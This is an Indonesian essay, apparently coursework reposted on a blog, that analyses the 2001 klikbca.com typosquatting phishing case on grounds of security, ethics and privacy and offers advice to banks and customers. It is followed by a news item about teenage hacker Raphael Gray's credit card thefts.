akhirnya mencapai tjuan yang hendak dicapainya. Setiap system mampu untuk memonitor, menangkap, dan menyimpan informasi tersebut, jadi sangat memungkinkan untuk menyimpan berbagai macam aktivitas online yang pada akhirnya mengancam privasi pemakai internet.Salah satu isu utama yang menimpa penggunaan internet adalah mengenai keamanan dan etika, Internet yang digunakan sebagai decision support system oleh pihak manajemen akan dihadapkan pada integritas data dan juga keamanan dari system tersebut, decision support system mengandung informasi yang sangat penting bagi suatu organisasi dan pihak manajemen dari organisasi tersebut. Selain itu, organisasi yang menggunakan decision support system juga perlu memperhatikan secara serius mengenai isu etika seperti privasi dan akuntabilitasnya.Menurut O’Brien (2004:393):If you don’t take the proper precautions, any time you send an e-mail, access a web-site, post a message to a news group, or use the Internet for banking and shopping…whether you’re online for business or pleasure, you’re vulnerable to anyone bent on collecting data about you without your knowledge. Fortunately, by using tools like encryption and anonymous remailers-and by being selective about the sites you visit and the information you provide-you can minimize, if not completely eliminate, the risk of your privacy being violated.Lebih lanjut O’Brien (2004:400) berpendapat “With Internet access proliferating rapidly, one might think that the biggest obstacle to electronic commerce would be bandwidth. But it’s not; the number one problem is security. And part of the problem is that the Internet was developed for interoperability, not impenetrability”.Oleh karena itu keamanan, etika dan privasi dalam berinternet harus mendapat penanganan yang tepat termasuk di Indonesia dimana salah satu kasus yang terjadi mengenai penduplikatan situs internet banking www.klikbca.com yang dilakukan oleh salah satu anak bangsa kita sendiri. Seringkali penanganan keamanan system informasi sudah baik, tetapi dengan kesengajaan ataupun kelalaian seseorang dapat merusak sekuriti yang sudah ada. Permasalahan etika juga muncul ketika seseorang dengan sengaja merusak keamanan dari system informasi.PERUMUSAN PERMASALAHANBerdasarkan latar belakang permasalahan dan kasus di atas, maka perumusan masalahnya adalah:a. Bagaimana kasus tersebut dapat terjadi jika dipandang dari sisi keamanan system informasi, etika, dan privasi?b. Bagaimana penanganan kasus tersebut dari sisi keamanan, etika, dan privasi?KASUSPada tahun 2001, internet banking diributkan oleh kasus pembobolan internet banking milik bank BCA, www.klikbca.com , Kasus tersebut dilakukan oleh seorang mantan mahasiswa ITB Bandung dan juga merupakan salah satu karyawan media online (satunet.com) yang bernama Steven Haryanto. Anehnya Steven ini bukan Insinyur Elektro ataupun Informatika, melainkan Insinyur Kimia. Ide ini timbul ketika Steven juga pernah salah mengetikkan alamat website. Kemudian dia membeli domain-domain internet dengan harga sekitar US$20 yang menggunakan nama dengan kemungkinan orang-orang salah mengetikkan dan tampilan yang sama persis dengan situs internet banking BCA, www.klikbca.com , seperti:wwwklikbca.comkilkbca.comclikbca.comklickbca.comklikbac.comOrang tidak akan sadar bahwa dirinya telah menggunakan situs aspal tersebut karena tampilan yang disajikan serupa dengan situs aslinya. Hacker tersebut mampu mendapatkan User ID dan password dari pengguna yang memasuki sutis aspal tersebut, namun hacker tersebut tidak bermaksud melakukan tindakan criminal seperti mencuri dana nasabah, hal ini murni dilakukan atas keingintahuannya mengenai seberapa banyak orang yang tidak sadar menggunakan situs klikbca.com, Sekaligus menguji tingkat keamanan dari situs milik BCA tersebut.ANALISISSteven Haryanto dapat disebut sebagai hacker, karena dia telah mengganggu suatu system milik orang lain, yang dilindungi privasinya. Sehingga tindakan Steven ini disebut sebagai hacking. Steven dapat digolongkan dalam tipe hacker sebagai gabungan white-hat hacker dan black-hat hacker, dimana Steven hanya mencoba mengetahui seberapa besar tingkat keamanan yang dimiliki oleh situs internet banking Bank BCA, www.klikbca.com. Disebut white-hat hacker karena dia tidak mencuri dana nasabah, tetapi hanya mendapatkan User ID dan password milik nasabah yang masuk dalam situs internet banking palsu. Namun tindakan yang dilakukan oleh Steven, juga termasuk black-hat hacker karena membuat situs palsu dengan diam-diam mengambil data milik pihak lain.

Hal-hal yang dilakukan Steven antara lain scans, sniffer, dan password crackers.
Tindakan Steven ini juga tergolong dalam kejahatan computer, yang dikategorikan:
(1)the unauthorized use, access, modification, and destruction of hardware, software, data, or network resources;
(2)the unauthorized copying of software;
(3) denying an end user access to his or her own hardware, software, data, or network resources;
(4)and using or conspiring to use computer or network resources to illegally obtain information or tangible property.

Untuk mengetahui apakah hal yang dilakukan Steven tersebut dikatakan melanggar etika atau tidak, maka terdapat lima langkah proses yang digunakan dalam menganalisa etika:
1. Mengidentifikasi dan menggambarkan fakta secara jelas.Terbukti bahwa Steven mengakui perbuatannya dan menjelaskan langkah-langkahnya dari awal hingga akhir.
2. Mendefinisikan konflik atau dilema dan mengidentifikasi urutan nilai dari yang tertinggi yang terkandung dalam konflik atau dilema tersebut.Pada awalnya Steven juga salah satu pengguna internet yang salah ketik pada alamat website. Berawal dari sana, Steven membuat situs internet banking palsu milik BCA. Hal tersebut berhasil menipu banyak nasabah internet banking BCA.
3. Mengidentifikasikan pihak-pihak yang berkepentingan.Pihak yang paling bertanggungjawab terhadap hal ini tentunya pelaku pembuat situs internet banking palsu, Steven, yang melibatkan nasabah BCA dan BCA itu sendiri.
4. Mengidentifikasi alternatif pilihan-pilihan yang dapat digunakan.Selain menggunakan internet banking, transaksi perbankan dapat dilakukan melalui via telepon ataupun m-banking, namun Steven hanya melakukan tindakannya melalui via internet banking, yaitu membuat situs internet banking BCA yang palsu.
5. Mengidentifikasi kosekuensi yang mungkin ditimbulkan dari pilihan-pilihan alternatif tersebut.Karena tindakannya, banyak nasabah BCA yang tidak hati-hati dan masuk ke situs palsu tersebut yang mengakibatkan user ID dan password-nya dapat diketahui oleh Steven.Jadi dapat dikatakan apa yang dilakukan Steven secara etik tidak benar namun juga menimbulkan sisi positif dimana pihak perbankan dapat belajar dari kasus tersebut karena tindakan yang dilakukan Steven hanya bermodalkan keingintahuan dan uang sejumlah kira-kira US$ 20 guna membeli domain internet yang digunakan untuk membuat situs internet banking BCA palsu. BCA menggunakan internet banking yang dapat dipakai pengambilan keputusan atau yang disebut decision support system, dimana data para nasabah yang bertransakasi serta aktivitas lainnya melalui internet banking merupakan database milik BCA secara privasi yang tidak boleh disebarluaskan ataupun disalahgunakan karena internet banking tersebut merupakan salah satu layanan yang menguntungkan baik bagi nasabah maupun pihak BCA. Database para nasabah internet banking dapat digunakan oleh pihak BCA untuk membuat keputusan dalam berbagai bidang perbankan.

KESIMPULAN
Berdasarkan analisis di atas, maka kasus Steven Haryanto ini tidak digolongkan tindakan kriminal dimana dia tidak mencuri dana milik nasabah namun tindakannya tetap melanggar etika, privasi, dan keamanan dari banyak pihak. Hal ini dapat menjadi pelajaran bagi semua pihak, utamanya pihak nasabah dan perbankan. Diharapkan kejadian tersebut tidak akan terulang lagi di masa yang akan datang dan tidak menjadi ide bagi hacker yang lain.SARANHal yang paling utama yang perlu diperhatikan dari pemberian fasilitas layanan internet banking oleh pihak perbankan adalah masalah keamanan (security) yang berhubungan dengan privasi dari nasabah. Keamanan layanan online internet banking ini mencakup keamanan koneksi nasabah, keamanan data transaksi, keamanan koneksi server, dan keamanan jaringan system operasi dari server.

Secara internal, perbankanpun dihadapkan dengan sulitnya melindungi sumber daya informasi, seperti:
1. Terdapat ratusan ancaman keamanan dan hal itu akan terus berubah dan berkembang.
2. Sulitnya untuk memberikan proteksi bagi sumber daya informasi karena berada di luar jangkauan, misalnya mesin ATM.
3. Berkembangnya teknologi meyebabkan tindakan kriminal akan terus berkembang pula.
4. Banyak kejahatan computer yang tidak terdeteksi untuk waktu yang cukup lama.
5. Orang yang cenderung untuk mematahkan prosedur keamanan dikarenakan prosedurnya yang cukup berbelit-belit.
6. Banyak pelaku kejahatan komputer yang tidak ditindak secara hukum dengan tegas.
7. Biaya untuk mencegah beberapa hazard sangat tinggi.Manajer berkesempatan menciptakan etika di lingkungan organisasinya.

Berikut ini merupakan cara-cara untuk menetapkan standard etika:
1. Information rights and obligations.Privasi internet dan e-mail pekerja, pemonitoran tempat kerja, penyukuhan informasi organisasi, dan kebijakan pada informasi nasabah.
2. Property rights and obligations.Sebagai panduan yang spesifik untuk hubungan dengan pihak ketiga.
3. system qualityMendeskripsikan tingkatan akan kualitas data dan system errornya yang dapat ditoleransi.
4. Quality of lifeMenyatakan bahwa tujuan dari system yang dibuat adalah untuk menngkatkan kualitas kehidupan nasabah dan juga pekerjanya dengan pencapaian kualitas produk yang tinggi, customer service yang bagus, kepuasan pekerja, dan lain-lain.
5. Accountability and controlMenyatakan tanggung jawab dari masing-masing personel dan bagaimana pengendaliannya.Dengan adanya standar etika tersebut, diharapkan pihak internal tidak melakukan tindakan serupa seperti yang dilakukan oleh Steven, yaitu membuat situs phising (aspal).

Namun hal tersebut akan menimbulkan dilema-dilema sebagai berikut:
1. Konsekuensi. Seberapa banyak atau seberapa sedikit manfaat maupun kerugian yang timbul dari keputusan yang diambil?
2. Opini masyarakat. Apa persepsi masyarakat tentang tindakan yang diambil?
3. Likelihood of effect. Kemungkinan apa baik manfaat yang diperoleh maupun kerugian yang akan timbul jika melakukan tindakan tersebut?
4. Konsekuensi waktu. Berapa lama waktu yang akan diambil sehingga mengakibatkan manfaat atau kerugian tesebut?
5. Relatedness. Berapa banyak orang yang akan mendapatkan manfaat atau yang menderita kerugian?
6. Pencapaian hasil. Berapa banyak orang yang akan berdampak dari tindakan tersebut?

Pihak BCA dapat tetap menggunakan internet banking untuk mendukung layanan perbankannya karena internet banking tersebut berdasarkan layanan web yang dapat memberikan keuntungan atau manfaat sebagai berikut:
1. Internet merupakan sumber yang kaya akan informasi, dimana diharapkan nasabah akan dapat memperoleh informasi perbankannya dengan cepat.
2. Kemudahan pengaksesan data, dimana internet dapat diakses dimana saja dan kapan saja.
3. Mudah untuk diterapkan dalam pengaplikasiannya, karena terdapat langkah-langkah yang jelas dan terpandu.
4. Mengurangi biaya-biaya.
5. Dapat digunakan untuk pengambilan keputusan bagi nasabah dengan cepat karena tersedia banyak informasi dan cepat dalam mengambil tindakan melalui internet.
6. Dapat digunakan oleh pihak penyedia, perbankan, sebagai decision support system dimana akan mendukung dalam langkah perbaikannya secara kontinu di masa yang akan datang.

Dalam pelaksanaannya harus didukung dengan etika dalam teknologi, seperti berikut:
1. Sesuai dengan proporsi, dimana teknologi yang dikembangkan juga diiringi dengan pencegahan dari kerusakan dan risiko.
2. Dengan adanya teknologi, maka teknologi tersebut harus mengerti dan menerima berbagai kmeungkinan adanya risiko.
3. Adil, dimana keuntungan dan kerugian dari teknologi harus dibagikan secara merata sehingga tidak ada yang menderita keuntungan saja dan di lain pihak menderita kerugian saja.
4. Meminimalisasi risiko-risiko. Adanya teknologi yang semakin berkembang, diharapkan akan dapat menghindari risiko-risiko yang membahayakan.

Secara eksternal, para nasabahpun dapat diberikan kiat-kiat dalam melakukan transaksi melalui internet , seperti:
1. Menggunakan antivirus dan firewall dan selalu meng-updatenya untuk menghindari kerusakan program dan data.
2. Menggunakan password (PIN) yang sulit untuk ditebak dna sering untuk menggantinya.
3. Perhatikan dalam mengetik domain address, jangan sampai salah mengetikkannya.
4. Jangan selalu mempercayai pada internet banking, namun cobalah sekali-kali untuk mengecek pada bank akan kebenarannya.Berdasarkan saran di atas dapat disimpulkan bahwa penggunaan komputer dan jaringan internet, tidak akan dapat terlepas dari isu etika, privasi, dan keamanan. Oleh karena itu, untuk penanganan kasus-kasus tersebut harus melibatkan pihak internal dan eksternal, dimana masing-masing pihak tersebut harus menyadari aturan dan hukum yang berlaku. Bagi pihak internal, sebaiknya menyediakan fasilitas dengan tingkat keamanan dan keintegritasan data yang tinggi. Di lain pihak, dari pihak eksternal, para pemakai sebaiknya harus lebih berhati-hati dalam menggunakan fasilitas yang disediakan demi terlindungi privasinya.

http://v-hacker.blogspot.com/2009/09/seorang-hacker-remaja-membobol-kartu.html

Posted by Rizky Prasetya 14.48, under |


Seorang hacker remaja telah menggunakan kartu kredit Bill Gates untuk memesan dan mengirimkan Viagra untuk Bill Gates.

Raphael Gray, 19 tahun, menyatakan dirinya sebagai 'orang suci dari e-commerce', setelah meng-hack perusahaan US, Canada dan Inggris untuk mengekspose lubang di Internet. Perbuatannya menyebabkan satu perusahaan keuangan menderita kerugian yang sangat besar. Gray diperintahkan untk menjalani pengobatan percobaan untuk gangguan mental selama 3 tahun.

Gray, yang dituntut atas perbuatannya yang merugikan karena dia berhasil mendapatkan 23,000 kartu kredit dari berbagai perusahaan yang dihack olehnya salah satunya yaitu kartu kreditnya Bill Gates, yang kemudian Gray memesan dan mengirimkan Viagra kepada Bill dengan kartu kreditnya.

Hakim Gareth davies diberitahu bahwa Gray dicurigai menderita gangguan mental dan minder yang kronis sejak kecil, yang memberikan kontribusi atas apa yang dilakukannya ini di Internet. Dan berdasar catatan medis, bahwa 4 tahun yang lalu Gray pernah jatuh dan membentur kepalanya.

Pembelanya mengatakan bahwa karena sebab itulah yang mengakibatkan perbuatannya di Internet. Gray menyatakan penyesalannya bukan pada apa yang dilakukannya tetapi caranya, dan dia mengatakan di lain kesempatan dia akan melakukannya lagi tapi secara legal.

Polisi membutuhkan waktu sebulan untuk melacak sang hacker sampai ke rumahnya di Clynderwen, Carmarthen, sebelah barat Wales dan ditangkap oleh FBI pada bulan Maret tahun lalu. Pesan pesan yang ditinggalkan di situs yang dihack olehnya berisi antara lain:" I'm for e-commerce when concluded in a secure and sensible manner but this is a rare thing. Most companies put some kind of page together and wait for the money to roll in. These people are the criminals." Dan pesan lainnya "If your site is broken into, you should spend more time asking why and not who." Apakah anda setuju dengan pernyataan ini ?? Jika Ya, maka anggap sebuah situs diibaratkan dengan sebuah rumah, di mana seseorang mencoba membobol rumah itu dengan berbagai peralatan, apakah anda masih tetap menjawab ya ?